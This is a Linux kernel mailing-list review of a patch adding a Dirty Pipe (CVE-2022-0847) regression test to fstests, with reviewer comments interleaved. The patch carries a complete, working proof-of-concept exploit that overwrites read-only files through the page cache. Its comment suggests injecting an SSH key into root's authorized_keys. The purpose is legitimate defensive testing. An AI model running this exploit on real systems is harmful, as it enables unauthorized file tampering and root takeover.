On Tue, Mar 08, 2022 at 09:14:29AM -0800, Darrick J. Wong wrote:
> On Tue, Mar 08, 2022 at 05:22:48PM +0800, Zorro Lang wrote:
> > Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> > uninitialized "pipe_buffer.flags" variable. The bug cause a file
> > can be overwritten even if a user/process is not permitted to write
> > it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in
> > new pipe_buffer").
> >
> > Cc: Max Kellermann <max.kellermann@xxxxxxxxx>
> > Signed-off-by: Zorro Lang <zlang@xxxxxxxxxx>
> > ---
> >
> > Hi,
> >
> > As the CVE-2022-0847 "Dirty Pipe Vulnerability" is public now, to cover this
> > bug testing, I write this case to fstests.
> > The main test program comes from Max Kellermann(https://dirtypipe.cm4all.com/),
> > I just changed it a little bit, then help it run with xfstests frame.
> >
> > Please help to review, and feel free to tell me if it's not good to be in fstests.
> >
> > Thanks,
> > Zorro
> >
> > .gitignore | 1 +
> > src/Makefile | 2 +-
> > src/splice2pipe.c | 155 ++++++++++++++++++++++++++++++++++++++++++
> > tests/generic/676 | 47 +++++++++++++
> > tests/generic/676.out | 9 +++
> > 5 files changed, 213 insertions(+), 1 deletion(-)
> > create mode 100644 src/splice2pipe.c
> > create mode 100755 tests/generic/676
> > create mode 100644 tests/generic/676.out
> >
> > diff --git a/.gitignore b/.gitignore
> > index ba0c572b..a05c6058 100644
> > --- a/.gitignore
> > +++ b/.gitignore
> > @@ -125,6 +125,7 @@ tags
> > /src/runas
> > /src/seek_copy_test
> > /src/seek_sanity_test
> > +/src/splice2pipe
> > /src/splice-test
> > /src/stale_handle
> > /src/stat_test
> > diff --git a/src/Makefile b/src/Makefile
> > index 111ce1d9..7725c4aa 100644
> > --- a/src/Makefile
> > +++ b/src/Makefile
> > @@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> > dio-invalidate-cache stat_test t_encrypted_d_revalidate \
> > attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
> > fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
> > - detached_mounts_propagation ext4_resize
> > + detached_mounts_propagation ext4_resize splice2pipe
> >
> > EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> > btrfs_crc32c_forged_name.py
> > diff --git a/src/splice2pipe.c b/src/splice2pipe.c
> > new file mode 100644
> > index 00000000..88b58f7e
> > --- /dev/null
> > +++ b/src/splice2pipe.c
> > @@ -0,0 +1,155 @@
> > +/* SPDX-License-Identifier: GPL-2.0 */
> > +/*
> > + * Copyright 2022 CM4all GmbH / IONOS SE
> > + *
> > + * author: Max Kellermann <max.kellermann@xxxxxxxxx>
> > + *
> > + * Proof-of-concept exploit for the Dirty Pipe
> > + * vulnerability (CVE-2022-0847) caused by an uninitialized
> > + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
> > + * file contents in the page cache, even if the file is not permitted
> > + * to be written, immutable or on a read-only mount.
> > + *
> > + * This exploit requires Linux 5.8 or later; the code path was made
> > + * reachable by commit f6dd975583bd ("pipe: merge
> > + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
> > + * there before, it just provided an easy way to exploit it.
> > + *
> > + * There are two major limitations of this exploit: the offset cannot
> > + * be on a page boundary (it needs to write one byte before the offset
> > + * to add a reference to this page to the pipe), and the write cannot
> > + * cross a page boundary.
> > + *
> > + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> > + *
> > + * Further explanation: https://dirtypipe.cm4all.com/
> > + */
> > +#ifndef _GNU_SOURCE
> > +#define _GNU_SOURCE
> > +#endif
> > +#include <unistd.h>
> > +#include <fcntl.h>
> > +#include <stdio.h>
> > +#include <stdlib.h>
> > +#include <string.h>
> > +#include <sys/stat.h>
> > +#include <sys/user.h>
> > +
> > +/**
> > + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> > + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> > + */
> > +static void prepare_pipe(int p[2])
> > +{
> > + if (pipe(p)) abort();
>
> It would be a good idea to spit out the error that pipe() returns,
> even if the original POC didn't.
Sure, I'll change that.
>
> > +
> > + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
> > + static char buffer[4096];
>
> Also I'm sort of surprised that fstests' C compiler configuration allows
> declarations mixed with code, but ... fmeh, maybe I need to move on past
> 1989.
I surprised that too, I thought fstests compile with c89/c90 as linux kernel,
but looks like c89 isn't imposed in fstests building option. So I think it
might follow the default standard which current gcc use.
For example, in my system(rhel8), the manual of gcc says:
gnu18
GNU dialect of ISO C17. This is the default for C code.
Then `info gcc` says:
The default, if no C language dialect options are given, is
'-std=gnu11'.
Sorry, I'm not familiar with this. If think about the compatibility, I
might be better to change the C code to c89 format?
>
> > +
> > + /* fill the pipe completely; each pipe_buffer will now have
> > + the PIPE_BUF_FLAG_CAN_MERGE flag */
> > + for (unsigned r = pipe_size; r > 0;) {
> > + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> > + write(p[1], buffer, n);
> > + r -= n;
> > + }
> > +
> > + /* drain the pipe, freeing all pipe_buffer instances (but
> > + leaving the flags initialized) */
> > + for (unsigned r = pipe_size; r > 0;) {
> > + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> > + read(p[0], buffer, n);
> > + r -= n;
> > + }
> > +
> > + /* the pipe is now empty, and if somebody adds a new
> > + pipe_buffer without initializing its "flags", the buffer
> > + will be mergeable */
> > +}
> > +
> > +int main(int argc, char **argv)
> > +{
> > + if (argc != 4) {
> > + fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
> > + return EXIT_FAILURE;
> > + }
> > +
> > + /* dumb command-line argument parser */
> > + const char *const path = argv[1];
> > + loff_t offset = strtoul(argv[2], NULL, 0);
> > + const char *const data = argv[3];
> > + const size_t data_size = strlen(data);
> > + int page_size = sysconf(_SC_PAGESIZE);
> > + if (page_size == -1)
> > + page_size = 4096;
> > +
> > + if (offset % page_size == 0) {
> > + fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + const loff_t next_page = (offset | (page_size - 1)) + 1;
> > + const loff_t end_offset = offset + (loff_t)data_size;
> > + if (end_offset > next_page) {
> > + fprintf(stderr, "Sorry, cannot write across a page boundary\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + /* open the input file and validate the specified offset */
> > + const int fd = open(path, O_RDONLY); // yes, read-only! :-)
> > + if (fd < 0) {
> > + perror("open failed");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + struct stat st;
> > + if (fstat(fd, &st)) {
> > + perror("stat failed");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + if (offset > st.st_size) {
> > + fprintf(stderr, "Offset is not inside the file\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + if (end_offset > st.st_size) {
> > + fprintf(stderr, "Sorry, cannot enlarge the file\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + /* create the pipe with all flags initialized with
> > + PIPE_BUF_FLAG_CAN_MERGE */
> > + int p[2];
> > + prepare_pipe(p);
> > +
> > + /* splice one byte from before the specified offset into the
> > + pipe; this will add a reference to the page cache, but
> > + since copy_page_to_iter_pipe() does not initialize the
> > + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
> > + --offset;
> > + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> > + if (nbytes < 0) {
> > + perror("splice failed");
> > + return EXIT_FAILURE;
> > + }
> > + if (nbytes == 0) {
> > + fprintf(stderr, "short splice\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + /* the following write will not create a new pipe_buffer, but
> > + will instead write into the page cache, because of the
> > + PIPE_BUF_FLAG_CAN_MERGE flag */
> > + nbytes = write(p[1], data, data_size);
> > + if (nbytes < 0) {
> > + perror("write failed");
> > + return EXIT_FAILURE;
> > + }
> > + if ((size_t)nbytes < data_size) {
> > + fprintf(stderr, "short write\n");
> > + return EXIT_FAILURE;
> > + }
> > +
> > + return EXIT_SUCCESS;
> > +}
> > diff --git a/tests/generic/676 b/tests/generic/676
> > new file mode 100755
> > index 00000000..6092aac3
> > --- /dev/null
> > +++ b/tests/generic/676
> > @@ -0,0 +1,47 @@
> > +#! /bin/bash
> > +# SPDX-License-Identifier: GPL-2.0
> > +# Copyright (c) 2022 Red Hat, Inc. All Rights Reserved.
> > +#
> > +# FS QA Test 676
> > +#
> > +# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> > +# uninitialized "pipe_buffer.flags" variable, which fixed by:
> > +# 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
> > +#
> > +. ./common/preamble
> > +_begin_fstest auto quick
> > +
> > +# real QA test starts here
> > +_supported_fs generic
> > +_require_test
> > +_require_user
> > +_require_chmod
> > +_require_test_program "splice2pipe"
> > +
> > +localfile=$TEST_DIR/testfile.$seq
> > +
> > +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> > +# permission on it
> > +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
>
> I wonder, does this '4k' need to be $pagesize, or does it suffice to have
> any amount of written data, since that will get us a memory page?
